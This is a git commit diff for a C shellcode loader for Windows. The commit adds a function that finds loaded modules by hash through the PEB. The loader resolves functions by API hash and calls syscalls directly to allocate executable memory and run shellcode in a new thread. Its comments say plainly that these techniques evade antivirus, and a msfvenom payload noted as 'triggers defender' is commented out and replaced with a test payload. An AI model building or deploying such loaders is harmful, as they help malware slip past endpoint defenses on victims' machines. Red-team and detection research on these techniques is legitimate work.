add GetModuleHandleByHash

This commit is contained in:
0xcf80
2024-01-21 22:36:02 +01:00
parent de637ab97e
commit f940f693c8
7 changed files with 135 additions and 103 deletions
+37 -2
View File
@@ -1,7 +1,8 @@
#pragma once
# include <Windows.h>
#include <stdio.h>
// PEB/TEB
#include <winternl.h>
// https://stackoverflow.com/questions/1941307/debug-print-macro-in-c
#define DEBUG
@@ -11,7 +12,41 @@
#else
#define DEBUG_PRINT(...) do{ } while ( false )
#endif
#define MAX_DLL_NAME_LENGTH 256;
typedef struct _MY_LDR_DATA_TABLE_ENTRY
{
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
WORD LoadCount;
WORD TlsIndex;
union
{
LIST_ENTRY HashLinks;
struct
{
PVOID SectionPointer;
ULONG CheckSum;
};
};
union
{
ULONG TimeDateStamp;
PVOID LoadedImports;
};
/*_ACTIVATION_CONTEXT* EntryPointActivationContext;*/
PVOID EntryPointActivationContext;
PVOID PatchInformation;
LIST_ENTRY ForwarderLinks;
LIST_ENTRY ServiceTagLinks;
LIST_ENTRY StaticLinks;
} MY_LDR_DATA_TABLE_ENTRY, * PMY_LDR_DATA_TABLE_ENTRY;
/*
* Structure to hold information about our syscalls
*/
+27 -17
View File
@@ -36,12 +36,12 @@ NTSTATUS resolve_syscall(HMODULE hNtDll, DWORD function_hash, _Out_ LPVOID *outp
//LPVOID pProc = (LPVOID)GetProcAddress(hNtDll, funcName);
LPVOID pProc = GetProcAddressByHash(hNtDll, function_hash);
if (pProc == NULL) {
DEBUG_PRINT("GetProcAddressByHash failed for %p\n", function_hash);
DEBUG_PRINT("GetProcAddressByHash failed for 0x%x\n", function_hash);
return (NTSTATUS) -1;
}
DEBUG_PRINT("Function for hash %p at %p\n", function_hash, pProc);
DEBUG_PRINT("Function for hash 0x%x at %p\n", function_hash, pProc);
/*
0:000> uf ntdll!NtCreateProcess
ntdll!NtCreateProcess:
@@ -67,7 +67,7 @@ NTSTATUS resolve_syscall(HMODULE hNtDll, DWORD function_hash, _Out_ LPVOID *outp
if (*(ptr + 1) == 0x05) {
// 0xc3 => ret
if (*(ptr + 2) == 0xc3) {
DEBUG_PRINT("Syscall for %p at %p. ID: %02x\n", function_hash, ptr, syscallId);
DEBUG_PRINT("Syscall for 0x%x at %p. ID: %02x\n", function_hash, ptr, syscallId);
*outSyscallId = syscallId;
*outpSyscall = ptr;
return ERROR_SUCCESS;
@@ -77,7 +77,7 @@ NTSTATUS resolve_syscall(HMODULE hNtDll, DWORD function_hash, _Out_ LPVOID *outp
// prevent an endless loop
if ((ptr - (PBYTE)pProc) == 50) {
DEBUG_PRINT("Could not identify Syscall for %p\n", function_hash);
DEBUG_PRINT("Could not identify Syscall for 0x%x\n", function_hash);
return (NTSTATUS)-1;
}
ptr++;
@@ -93,36 +93,36 @@ NTSTATUS resolve_syscall(HMODULE hNtDll, DWORD function_hash, _Out_ LPVOID *outp
*/
NTSTATUS populate_syscall_table(HMODULE hNtDll, _Out_ PSYSCALL_INFO_TABLE pSyscallTable) {
LPCSTR funcName = "NtAllocateVirtualMemory";
//LPCSTR funcName = "NtAllocateVirtualMemory";
NTSTATUS status = (NTSTATUS)-1;
//status = resolve_syscall(hNtDll, funcName, &pSyscallTable->NtAllocateVirtualMemory.pSyscall, &pSyscallTable->NtAllocateVirtualMemory.syscallId);
status = resolve_syscall(hNtDll, pSyscallTable->NtAllocateVirtualMemory.functionHash, &pSyscallTable->NtAllocateVirtualMemory.pSyscall, &pSyscallTable->NtAllocateVirtualMemory.syscallId);
if (status != ERROR_SUCCESS) {
DEBUG_PRINT("Failed to resolve Syscall for %s!", funcName);
DEBUG_PRINT("Failed to resolve Syscall for 0x%x!", pSyscallTable->NtAllocateVirtualMemory.functionHash);
return (NTSTATUS)-1;
}
funcName = "NtProtectVirtualMemory";
//funcName = "NtProtectVirtualMemory";
//status = resolve_syscall(hNtDll, funcName, &pSyscallTable->NtProtectVirtualMemory.pSyscall, &pSyscallTable->NtProtectVirtualMemory.syscallId);
status = resolve_syscall(hNtDll, pSyscallTable->NtProtectVirtualMemory.functionHash, &pSyscallTable->NtProtectVirtualMemory.pSyscall, &pSyscallTable->NtProtectVirtualMemory.syscallId);
if (status != ERROR_SUCCESS) {
DEBUG_PRINT("Failed to resolve Syscall for %s!", funcName);
DEBUG_PRINT("Failed to resolve Syscall for 0x%x!", pSyscallTable->NtProtectVirtualMemory.functionHash);
return (NTSTATUS)-1;
}
funcName = "NtCreateThreadEx";
//funcName = "NtCreateThreadEx";
//status = resolve_syscall(hNtDll, funcName, &pSyscallTable->NtCreateThreadEx.pSyscall, &pSyscallTable->NtCreateThreadEx.syscallId);
status = resolve_syscall(hNtDll, pSyscallTable->NtCreateThreadEx.functionHash, &pSyscallTable->NtCreateThreadEx.pSyscall, &pSyscallTable->NtCreateThreadEx.syscallId);
if (status != ERROR_SUCCESS) {
DEBUG_PRINT("Failed to resolve Syscall for %s!", funcName);
DEBUG_PRINT("Failed to resolve Syscall for 0x%x!", pSyscallTable->NtCreateThreadEx.functionHash);
return (NTSTATUS)-1;
}
funcName = "NtWaitForSingleObject";
//funcName = "NtWaitForSingleObject";
//status = resolve_syscall(hNtDll, funcName, &pSyscallTable->NtWaitForSingleObject.pSyscall, &pSyscallTable->NtWaitForSingleObject.syscallId);
status = resolve_syscall(hNtDll, pSyscallTable->NtWaitForSingleObject.functionHash, &pSyscallTable->NtWaitForSingleObject.pSyscall, &pSyscallTable->NtWaitForSingleObject.syscallId);
if (status != ERROR_SUCCESS) {
DEBUG_PRINT("Failed to resolve Syscall for %s!", funcName);
DEBUG_PRINT("Failed to resolve Syscall for 0x%x!", pSyscallTable->NtWaitForSingleObject.functionHash);
return (NTSTATUS)-1;
}
@@ -160,7 +160,7 @@ NTSTATUS execute_shellcode_create_thread(PSYSCALL_INFO_TABLE pSyscallTable, cons
DEBUG_PRINT("Allocated memory at %p\n", lpAddress);
// Write shellcodde
MoveMemoryReImpl(lpAddress, shellcode, shellcode_len);
MoveMemoryReImpl(lpAddress, (const PVOID)shellcode, shellcode_len);
// make page executable
ULONG ulOldProtect = 0;
@@ -205,20 +205,30 @@ NTSTATUS execute_shellcode_create_thread(PSYSCALL_INFO_TABLE pSyscallTable, cons
// Entrypoint
int main()
{
// todo: resolve ntdll from peb
/*
// GMH not needed any longer
HMODULE hNtDll = GetModuleHandle(L"ntdll.dll");
*/
HMODULE hNtDll = GetModuleHandleByHash(0x22d3b5ed);
if (hNtDll == NULL) {
DEBUG_PRINT("GetModuleHandle failed for ntdll!\n");
return -1;
}
DEBUG_PRINT("NtDll mapped to %p\n", hNtDll);
/*
* Just a test to make sure it works for other modules as well
HMODULE hKernel32 = GetModuleHandle(L"kernel32.dll");
HMODULE hKernel322 = GetModuleHandleByHash(0x6ddb9555);
DEBUG_PRINT("kernel32: %p / %p\n", hKernel32, hKernel322);
*/
DEBUG_PRINT("sizeof shellcode: %d\n", (int)sizeof(shellcode_calc));
DEBUG_PRINT("sizeof shellcode: %d\n", (int)sizeof(shellcode_int3));
/*
* C:\Users\joshua\Desktop\ShellCodeLoader_Indirect_Syscalls>"C:\Program Files\Python311\python.exe" create_api_hashes.py
* string: ntdll, hash: 0x1006db43
* string: ntdll.dll, hash: 0x22d3b5ed
* string: NtAllocateVirtualMemory, hash: 0x6793c34c
* string: NtProtectVirtualMemory, hash: 0x82962c8
* string: NtCreateThreadEx, hash: 0xcb0c2130
@@ -237,7 +247,7 @@ int main()
return -1;
}
status = execute_shellcode_create_thread(&syscalls, shellcode_int3, sizeof(shellcode_calc));
status = execute_shellcode_create_thread(&syscalls, shellcode_int3, sizeof(shellcode_int3));
if (status != ERROR_SUCCESS) {
DEBUG_PRINT("Error executing shellcode!\n");
+41 -2
View File
@@ -14,6 +14,45 @@ DWORD runtime_hash(unsigned char* str)
return hash;
}
// Get a handle to a loaded DLL (by Hash)
// https://revers.engineering/custom-getprocaddress-and-getmodulehandle-implementation-x64/
HMODULE GetModuleHandleByHash(DWORD module_hash) {
HMODULE module_base = NULL;
//PPEB pPEB = getPEB();
PPEB pPEB = (PPEB)(__readgsqword(0x60));
//DEBUG_PRINT("PEB at %p\n", pPEB);
PPEB_LDR_DATA pLDR = pPEB->Ldr;
PLIST_ENTRY pModuleList = &(pLDR->InMemoryOrderModuleList);
// https://learn.microsoft.com/de-de/cpp/c-runtime-library/reference/wcstombs-s-wcstombs-s-l?view=msvc-170
PMY_LDR_DATA_TABLE_ENTRY currentModule = NULL;
PLIST_ENTRY currentEntry = pModuleList->Flink;
PLIST_ENTRY firstEntry = pModuleList;
CHAR cstr_module_name[256] = { 0 };
// in a double linked list, the last entry points to the first one
while (currentEntry->Flink != firstEntry)
{
currentModule = (PMY_LDR_DATA_TABLE_ENTRY)currentEntry;
// https://learn.microsoft.com/en-us/cpp/c-runtime-library/reference/wcstombs-s-wcstombs-s-l?view=msvc-170
wcstombs_s(NULL, cstr_module_name, sizeof(cstr_module_name), currentModule->FullDllName.Buffer, currentModule->FullDllName.Length - 1);
DEBUG_PRINT("Found DLL %s. Base:%p\n", cstr_module_name, currentModule->InInitializationOrderLinks.Flink);
if (module_hash == runtime_hash(cstr_module_name)) {
DEBUG_PRINT("Found DLL %s for hash 0x%x. Base: %p\n", cstr_module_name, module_hash, (HMODULE)currentModule->InInitializationOrderLinks.Flink);
// Actually this should work, but it does return a wrong address?!
//return (HMODULE)currentModule->DllBase;
return (HMODULE)currentModule->InInitializationOrderLinks.Flink;
}
//wprintf(L"Module: %s\n", currentModule->FullDllName.Buffer);
currentEntry = currentEntry->Flink;
}
return NULL;
}
// Resolve API function by function hash. Generate the API hashes using create_api_hashes.py
// https://www.ired.team/offensive-security/defense-evasion/windows-api-hashing-in-malware
// TODO: Create a compiletime_hash Macro to generate the functions dynamically during build
@@ -50,13 +89,13 @@ LPVOID GetProcAddressByHash(HMODULE hModule, DWORD function_hash) {
{
functionAddressRVA = addresOfFunctionsRVA[addressOfNameOrdinalsRVA[i]];
proc = (PDWORD)((DWORD_PTR)hModule + functionAddressRVA);
DEBUG_PRINT("%s : 0x%x : %p\n", functionName, functionNameHash, proc);
DEBUG_PRINT("FuncName: %s - FuncHash: 0x%x - Ptr: %p\n", functionName, functionNameHash, proc);
return proc;
}
}
// fail
if (proc == NULL) {
DEBUG_PRINT("Failed to resolve function for hash %p!\n", function_hash);
DEBUG_PRINT("Failed to resolve function for hash 0x%x!\n", function_hash);
}
return proc;
}
+26 -1
View File
@@ -1,5 +1,7 @@
#pragma once
#include <Windows.h>
// PEB / TEB
#include <winternl.h>
/*
* Todo:
@@ -10,4 +12,27 @@
DWORD runtime_hash(unsigned char* str);
LPVOID GetProcAddressByHash(HMODULE hModule, DWORD function_hash);
PVOID MoveMemoryReImpl(PVOID dest, const PVOID src, SIZE_T len);
HMODULE GetModuleHandleByHash(DWORD module_hash);
PVOID MoveMemoryReImpl(PVOID dest, const PVOID src, SIZE_T len);
#if defined( _WIN64 )
#define PEBOffset 0x60
#define LdrOffset 0x18
#define ListOffset 0x10
PPEB getPEB(void) {
return (PPEB)__readgsqword(PEBOffset);
}
#elif defined( _WIN32 )
#define PEBOffset 0x30
#define LdrOffset 0x0C
#define ListOffset 0x0C
PPEB getPEB(void) {
return (PPEB)__readfsdword(PEBOffset);
}
#endif
+2 -2
View File
@@ -26,7 +26,7 @@ const char shellcode_int3[] = {
};
// msfvenom (triggers defender)
unsigned char shellcode_calc[] = {
/*unsigned char shellcode_calc[] = {
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,
0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,
0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,
@@ -46,4 +46,4 @@ unsigned char shellcode_calc[] = {
0x6f,0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,
0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,
0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,
0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00 };
0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00 };*/
+2 -1
View File
@@ -2,7 +2,8 @@
# encoding: utf-8
dlls = [
'ntdll'
'ntdll.dll',
'KERNEL32.DLL'
]
functions = [
@@ -1,78 +0,0 @@
#include <Windows.h>
// DEBUG_PRINT
#include "ShellCodeLoader.h"
// https://theartincode.stanis.me/008-djb2/
DWORD runtime_hash(unsigned char* str)
{
DWORD hash = 5381;
int c;
while (c = *str++)
hash = ((hash << 5) + hash) + c; /* hash * 33 + c */
return hash;
}
// Resolve API function by function hash. Generate the API hashes using create_api_hashes.py
// https://www.ired.team/offensive-security/defense-evasion/windows-api-hashing-in-malware
LPVOID GetProcAddressByHash(HMODULE hModule, DWORD function_hash) {
LPVOID proc = NULL;
// Get base address of the module in which our exported function of interest resides (kernel32 in the case of CreateThread)
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)hModule;
PIMAGE_NT_HEADERS imageNTHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)hModule + dosHeader->e_lfanew);
DWORD_PTR exportDirectoryRVA = imageNTHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
PIMAGE_EXPORT_DIRECTORY imageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((DWORD_PTR)hModule + exportDirectoryRVA);
// Get RVAs to exported function related information
PDWORD addresOfFunctionsRVA = (PDWORD)((DWORD_PTR)hModule + imageExportDirectory->AddressOfFunctions);
PDWORD addressOfNamesRVA = (PDWORD)((DWORD_PTR)hModule + imageExportDirectory->AddressOfNames);
PWORD addressOfNameOrdinalsRVA = (PWORD)((DWORD_PTR)hModule + imageExportDirectory->AddressOfNameOrdinals);
// Iterate through exported functions, calculate their hashes and check if any of them match our hash of 0x00544e304 (CreateThread)
// If yes, get its virtual memory address (this is where CreateThread function resides in memory of our process)
for (DWORD i = 0; i < imageExportDirectory->NumberOfFunctions; i++)
{
DWORD functionNameRVA = addressOfNamesRVA[i];
DWORD_PTR functionNameVA = (DWORD_PTR)hModule + functionNameRVA;
char* functionName = (char*)functionNameVA;
DWORD_PTR functionAddressRVA = 0;
// Calculate hash for this exported function
DWORD functionNameHash = runtime_hash(functionName);
// If hash for CreateThread is found, resolve the function address
if (functionNameHash == function_hash)
{
functionAddressRVA = addresOfFunctionsRVA[addressOfNameOrdinalsRVA[i]];
proc = (PDWORD)((DWORD_PTR)hModule + functionAddressRVA);
DEBUG_PRINT("%s : 0x%x : %p\n", functionName, functionNameHash, proc);
return proc;
}
}
// fail
if (proc == NULL) {
DEBUG_PRINT("Failed to resolve function for hash %p!\n", function_hash);
}
return proc;
}
// stolen from: https://github.com/am0nsec/HellsGate/blob/master/HellsGate/main.c#L198C1-L211C2
PVOID MoveMemoryReImpl(PVOID dest, const PVOID src, SIZE_T len) {
char* d = dest;
const char* s = src;
if (d < s)
while (len--)
*d++ = *s++;
else {
char* lasts = s + (len - 1);
char* lastd = d + (len - 1);
while (len--)
*lastd-- = *lasts--;
}
return dest;
}